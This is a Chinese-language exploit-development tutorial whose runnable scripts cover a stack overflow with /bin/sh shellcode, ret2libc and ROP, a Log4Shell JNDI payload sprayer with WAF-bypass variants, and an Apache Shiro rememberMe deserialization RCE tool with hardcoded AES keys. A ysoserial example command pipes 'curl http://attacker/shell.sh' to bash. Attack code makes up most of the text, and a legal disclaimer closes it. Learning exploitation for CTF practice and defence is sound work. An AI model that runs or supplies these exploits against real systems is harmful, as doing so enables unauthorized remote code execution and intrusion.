漏洞利用开发基础:栈溢出 / ROP / Log4Shell / Shiro PoC

前言

Exploit 是渗透测试的"武器"。本文从 CTF 入门到真实 CVE 复现,覆盖完整学习路径和可运行的 PoC 代码。


一、栈溢出基础

1.1 内存布局

进程内存布局(从低地址到高地址):
┌─────────────────┐
│ 内核空间(不可访问)│
├─────────────────┤
│ 栈 (Stack)       │ <- ESP 指向栈顶
│  ↓ 向下增长       │    函数调用、局部变量、返回地址
├─────────────────┤
│ 内存映射文件       │    mmap、共享库、堆
├─────────────────┤
│ 堆 (Heap)        │    malloc 分配的内存
│  ↑ 向上增长       │
├─────────────────┤
│ BSS / 数据段      │    全局变量、未初始化数据
├─────────────────┤
│ 代码段 (.text)    │    机器指令、只读
├─────────────────┤
└─────────────────┘

1.2 栈帧结构

函数调用时栈的变化:

调用前:
┌─────────┐
│ 栈顶     │
│ 局部变量 │
└─────────┘

push ebp      ; 保存旧 ebp
mov ebp, esp  ; ebp = esp(新栈帧基址)
sub esp, 0x20 ; 分配局部变量空间

函数返回时:
mov esp, ebp  ; 释放栈帧
pop ebp       ; 恢复旧 ebp
ret           ; 弹出返回地址并跳转

栈帧内存布局(ebp 视角):
┌─────────────────┐
│ [ebp+8]   参数1   │
│ [ebp+4]   返回地址 │
│ [ebp]     旧 ebp  │
│ [ebp-4]   局部变量 │
│ [ebp-8]   局部变量 │
└─────────────────┘

1.3 缓冲区溢出原理 + PoC

// vuln.c - 有漏洞的程序
#include <stdio.h>
#include <string.h>

void vuln(char *input) {
    char buf[64];   // 64 字节的缓冲区
    strcpy(buf, input);  // 没有长度检查!
    printf("buf: %s
", buf);
}

int main(int argc, char *argv[]) {
    vuln(argv[1]);
    return 0;
}
#!/usr/bin/env python3
# exploit.py - 栈溢出 PoC(覆盖返回地址)
import struct, sys

def pad(shellcode, offset, length, filler=b"A"):
    """在 shellcode 前面填充 filler 到指定长度"""
    padding = filler * (offset - len(shellcode))
    return padding + shellcode

# Step 1: 找偏移量
# 用 cyclic pattern 发送,看返回地址被覆盖成什么
# pattern_create 100 -> Aa0Aa1Aa2...
# pattern_offset (实际返回地址 4 字节) -> 得到 offset
offset = 76  # 假设偏移量是 76

# Step 2: 构造 Payload
# 目标:覆盖返回地址到 shellcode 的位置
# 这里演示的是最简单的 ret-to-sc(栈上有 shellcode 时)
# 实际中大多用 ret-to-libc 或 ROP

# NOP sled(空指令滑行)
nop_sled = b"\x90" * 100

# Shellcode(Linux x86 execve /bin/sh)
shellcode = (
    b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
    b"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
    b"\x53\x89\xe1\xb0\x0b\xcd\x80"
)

# 把 shellcode 放到栈上(比如 return_address - 200)
# 然后用 return_address - 200 覆盖返回地址
buf_addr = 0xbffff544  # 假设的栈地址(实际要动态获取)
ret_addr = buf_addr - 200  # 指向 NOP sled 中间

payload = nop_sled + shellcode + b"A" * (offset - len(nop_sled) - len(shellcode))
payload += struct.pack("<I", ret_addr)  # 小端序

print("[*] Sending payload...")
print(f"    Payload size: {len(payload)} bytes")
print(f"    Return address: 0x{ret_addr:08x}")
sys.stdout.buffer.write(payload)

1.4 ret2libc(不用知道栈地址)

#!/usr/bin/env python3
# ret2libc PoC
# 思路:覆盖返回地址到系统已有的函数(system / execve)
# 不需要 shellcode,不需要关闭 NX

from pwn import *

# 找到 libc 基址(通过格式化字符串漏洞泄漏,或者 ASLR 关闭)
libc_base = 0xb7e90000  # 假设泄漏出来的 libc 基址
system_offset = 0x045390   # system 在 libc 里的偏移(objdump -d libc.so | grep system)
binsh_offset = 0x17b8c5   # "/bin/sh" 字符串在 libc 里的偏移

# 计算真实地址
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset

# ROP gadget: pop ebp; ret(跳过参数)
# 32 位 ret2libc 需要用 gadget 来平衡栈
# 简化版:直接 ret 到 system,参数放在后面
# 实际上 32 位调用约定是 cdecl,参数在栈上
# 所以:payload += [system_addr, fake_return_addr, binsh_addr]

payload = b"A" * offset  # 填充到返回地址
payload += p32(system_addr)
payload += p32(0xdeadbeef)  # fake return address(system 返回后跳这里,没用到)
payload += p32(binsh_addr)   # 参数:"/bin/sh"

# 发送
io = process("./vuln")
io.sendline(payload)
io.interactive()

二、ROP 链(Return Oriented Programming)

2.1 ROP 原理

ROP 是一种高级利用技术:
- 不用 shellcode(NX 关闭后栈不可执行)
- 不用 ret2libc(可以在 64 位、ASLR 开启时用)
- 从程序已有的代码片段里"借"指令
- 每个片段以 ret 结尾(Gadget)
- 把多个 Gadget 串起来完成复杂操作

ROP 链示例:
假设我们想调用 write(1, buf, 100) 泄露 flag

Gadget 1: pop rdi; ret    -> 设置 write 的第一个参数
Gadget 2: pop rsi; pop r15; ret -> 设置 write 的第二个参数
Gadget 3: pop rdx; pop r12; pop r13; ret -> 设置 write 的第三个参数
Gadget 4: call write@plt   -> 调用 write

ROP Chain = [gadget1, buf_addr, gadget2, 1, garbage, gadget3, 100, g2, garbage, write@plt]

2.2 ROP 实战工具

# 工具 1: ROPgadget
ROPgadget --binary vuln --ropchain
# 自动生成完整的 ROP 链

# 工具 2: ropper
ropper -f vuln --search "pop rdi"
# 搜索特定 gadget

# 工具 3: pwntools(Python 框架)
# 自动构造 ROP
from pwn import *
binary = ELF("./vuln")
rop = ROP(binary)
rop.call("write", [1, binary.bss(), 100])
print(rop.dump())

# 工具 4: one_gadget
# 找 libc 里现成的 one_gadget
one_gadget libc.so.6
# 输出几个地址,每个都直接 execve("/bin/sh", 0, 0)
# 最偷懒的 ROP 利用方式

三、Log4Shell PoC(CVE-2021-44228)

3.1 漏洞原理

Log4j 2.x <= 2.14.1 存在 JNDI 注入漏洞

漏洞触发条件:
- Log4j 版本 <= 2.14.1
- 应用接受外部输入(HTTP header / 参数 / JSON / 日志内容)
- 该输入被 Log4j 记录

Payload 格式:
${jndi:ldap://attacker.com/a}

攻击流程:
1. 攻击者发送恶意请求
2. 应用用 Log4j 记录请求内容
3. Log4j 解析 ${jndi:...}
4. 向攻击者控制的 LDAP 服务器请求对象
5. 返回恶意 Java class
6. 受害者下载并执行 → RCE

3.2 检测 + 利用脚本

#!/usr/bin/env python3
# log4shell_poc.py - Log4Shell 检测 + 验证
import requests, sys, urllib.parse, random, string

def gen_tracking_id():
    return "".join(random.choices(string.ascii_lowercase, k=8))

def build_payload(callback_url, tracking_id):
    """构造 JNDI payload"""
    payloads = [
        "${jndi:ldap://%s/%s}" % (callback_url, tracking_id),
        "${jndi:ldaps://%s/%s}" % (callback_url, tracking_id),
        "${jndi:dns://%s/%s}" % (callback_url, tracking_id),
        # 各种变体绕过 WAF
        "${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://%s/%s}" % (callback_url, tracking_id),
    ]
    return payloads

def test_log4shell(url, callback_url):
    """测试单个 URL"""
    tracking_id = gen_tracking_id()
    payloads = build_payload(callback_url, tracking_id)

    for payload in payloads:
        # 注入到各种位置
        headers_list = {
            "X-Api-Version": payload,
            "X-Forwarded-For": payload,
            "X-Client-IP": payload,
            "User-Agent": payload,
            "Referer": payload,
            "Accept": payload,
        }
        params = {"x": payload, "id": payload, "name": payload}

        try:
            # GET 请求
            r = requests.get(url, params=params, headers=headers_list, timeout=5, verify=False)
            print(f"  [GET] Payload sent: {payload[:50]}...")
            # POST JSON
            r = requests.post(url, json={"input": payload}, timeout=5, verify=False)
            print(f"  [POST JSON] Payload sent")
        except Exception as e:
            print(f"  [!] Error: {e}")

    print(f"  [*] 请检查你的 DNS / LDAP 服务器是否收到 {tracking_id} 的请求")
    print(f"  [*] 如果收到了 -> 存在 Log4Shell 漏洞!")

def main():
    if len(sys.argv) < 3:
        print("Usage: python3 log4shell_poc.py <target_url> <callback_domain>")
        print("  callback_domain: 你的 DNSLog / LDAP 服务器域名")
        print("  推荐用 Burp Collaborator / interact.sh")
        sys.exit(1)

    url = sys.argv[1]
    callback = sys.argv[2]
    test_log4shell(url, callback)

if __name__ == "__main__":
    main()

四、Shiro 反序列化 PoC

4.1 Shiro Cookie 机制

Apache Shiro 是 Java 安全框架。它用 rememberMe Cookie 实现"记住我"功能。
流程:
1. 用户登录成功 -> Shiro 把用户信息序列化 -> AES-CBC 加密 -> Base64 编码
2. 把加密后的 rememberMe Cookie 发给浏览器
3. 用户下次访问 -> 浏览器发送 rememberMe Cookie
4. Shiro 解密 -> 反序列化 -> 恢复会话

漏洞点:
- Shiro 的 AES Key 硬编码在源码里(或默认值)
- 攻击者可以生成自己的序列化对象,用相同 Key 加密
- Shiro 解密后反序列化 -> 触发恶意代码

### 关键指纹
访问目标时返回 Cookie: rememberMe=deleteMe
说明目标使用 Shiro,且当前 rememberMe Cookie 无效

### 默认 Key(Shiro 550)
默认 Key: kPH+bIxk5D2deZiIxcaaaA==
其他硬编码 Key: https://github.com/feihong-cs/ShiroExploit-Deprecated

4.2 Exploit 脚本

#!/usr/bin/env python3
# shiro_attack.py - Apache Shiro 反序列化 RCE
# CVE: CVE-2016-4437 / CVE-2016-4438
import requests, sys, base64, json, random, string
from Crypto.Cipher import AES

# 常见 Shiro Key(来源:ShiroExploit)
SHIRO_KEYS = [
    "kPH+bIxk5D2deZiIxcaaaA==",   # 默认 Key
    "4AvVhmFLUs0KTA3Kprsdag==",
    "3AvVhmFLUs0KTA3Kprsdag==",
    "Z3VucwAAAAAAAAAAAAAAAA==",
    "wGiHplamyXlVB11UXWol8g==",
    "6ZmI6I2j5Y+R6CB66a6d6CI=",
    "5aaC5qKm5oqA5pyv56S+5Yy6IO=",
    "ZSO5beqh5Y+R6CB66a6d6CI=",
]

def pkcs7_pad(data, block_size=16):
    padding_len = block_size - (len(data) % block_size)
    padding = bytes([padding_len] * padding_len)
    return data + padding

def aes_encrypt(key_b64, plaintext):
    """AES-CBC 加密,Shiro 使用固定 IV"""
    key = base64.b64decode(key_b64)
    iv = b"\x00" * 16  # Shiro 使用全零 IV
    cipher = AES.new(key, AES.MODE_CBC, iv)
    padded = pkcs7_pad(plaintext)
    return base64.b64encode(cipher.encrypt(padded)).decode()

def check_shiro(url):
    """检测 Shiro + 发现 Key"""
    headers = {"User-Agent": "Mozilla/5.0"}
    resp = requests.get(url, headers=headers, verify=False, timeout=10)
    cookies = resp.headers.get("Set-Cookie", "")

    if "rememberMe=deleteMe" not in cookies:
        print("[-] 目标不存在 Shiro")
        return False, None

    print("[+] 目标存在 Shiro (rememberMe=deleteMe)")

    # 尝试每个 Key 能否正确解密
    test_payload = base64.b64encode(b"test").decode()
    for key in SHIRO_KEYS:
        encrypted = aes_encrypt(key, b"test" * 20)
        resp = requests.get(url, headers={"Cookie": f"rememberMe={encrypted}"}, verify=False)
        if "rememberMe=deleteMe" not in resp.headers.get("Set-Cookie", ""):
            print(f"[+] 发现有效 Key: {key}")
            return True, key

    print("[-] 没找到有效 Key(可能自定义 Key 或已升级)")
    return True, None

def generate_ysoserial_payload(command):
    """生成 ysoserial CommonsCollections5 payload"""
    # 实际中用 ysoserial 工具:
    # java -jar ysoserial.jar CommonsCollections5 "curl http://attacker/shell.sh | bash" > payload.bin
    # 这里只演示伪代码
    print("[*] 请用 ysoserial 生成真实 payload:")
    print(f"    java -jar ysoserial.jar CommonsCollections5 "{command}" > payload.bin")
    print(f"    或用 CommonsBeanutils1(不需要依赖)")
    return b""

def exploit(url, key, command):
    """执行反序列化攻击"""
    # 1. 生成 ysoserial payload
    payload = generate_ysoserial_payload(command)
    if not payload:
        print("[-] 请先生成 payload 再运行")
        return

    # 2. AES 加密
    cookie_value = aes_encrypt(key, payload)

    # 3. 发送
    headers = {"Cookie": f"rememberMe={cookie_value}"}
    print(f"[*] 发送 payload (Cookie 长度: {len(cookie_value)})")
    resp = requests.get(url, headers=headers, verify=False, timeout=10)
    print(f"[*] 响应状态: {resp.status_code}")
    print(f"[+] 如果命令是 curl / wget,检查你的服务器是否收到请求")

def main():
    if len(sys.argv) < 2:
        print("Usage: python3 shiro_attack.py <url> [command]")
        print("Example: python3 shiro_attack.py http://target.com 'id'")
        sys.exit(1)

    url = sys.argv[1]
    command = sys.argv[2] if len(sys.argv) > 2 else "id"

    # Step 1: 检测 Shiro
    has_shiro, key = check_shiro(url)
    if not has_shiro:
        return

    if key:
        # Step 2: 发送 payload
        exploit(url, key, command)

if __name__ == "__main__":
    main()

五、推荐学习路线

CTF 入门阶段:
- 玩 Pwn / Web 方向题目
- 学习栈溢出(ret2win / ret2csu / ret2libc)
- 格式化字符串漏洞
- 整数溢出
- 推荐:BUUCTF、CTFHub、PicoCTF

中级(真实漏洞复现):
- Log4Shell / Spring4Shell / ProxyShell
- Shiro / Fastjson / Jackson 反序列化
- 写 CVE PoC 并复现
- 推荐:Vulhub 靶场、Exploit-DB

高级(0day 研究):
- 源码审计(Spring / Tomcat / Log4j)
- Fuzzing(libFuzzer / AFL)
- 向 CVE / CNVD 提交漏洞
- 推荐:CVE Details、GitHub Security Lab

必备工具:
- pwntools (Python 框架)
- ROPgadget / ropper
- one_gadget
- gdb + pwndbg
- Ghidra / IDA Pro
- ysoserial
- JNDI-Injection-Exploit(Log4Shell 利用)

推荐资源:
- pwn.college(HackTheBox 的 Pwn 课程)
- 《二进制漏洞利用艺术》
- 《Web Hacking 101》
- LiveOverflow / Mr-x 博客
- FreeBuf / 先知社区 Exploit 板块
- PortSwigger Academy(Web 方向)
- Hack The Box / TryHackMe

六、法律警告

⚠️ Exploit 代码仅限授权测试使用
⚠️ 未经授权攻击他人系统违法
⚠️ 真实 CVE 复现请在隔离环境中进行
⚠️ 不得将 Exploit 用于非法目的
⚠️ 本文所有代码仅用于安全学习与防御研究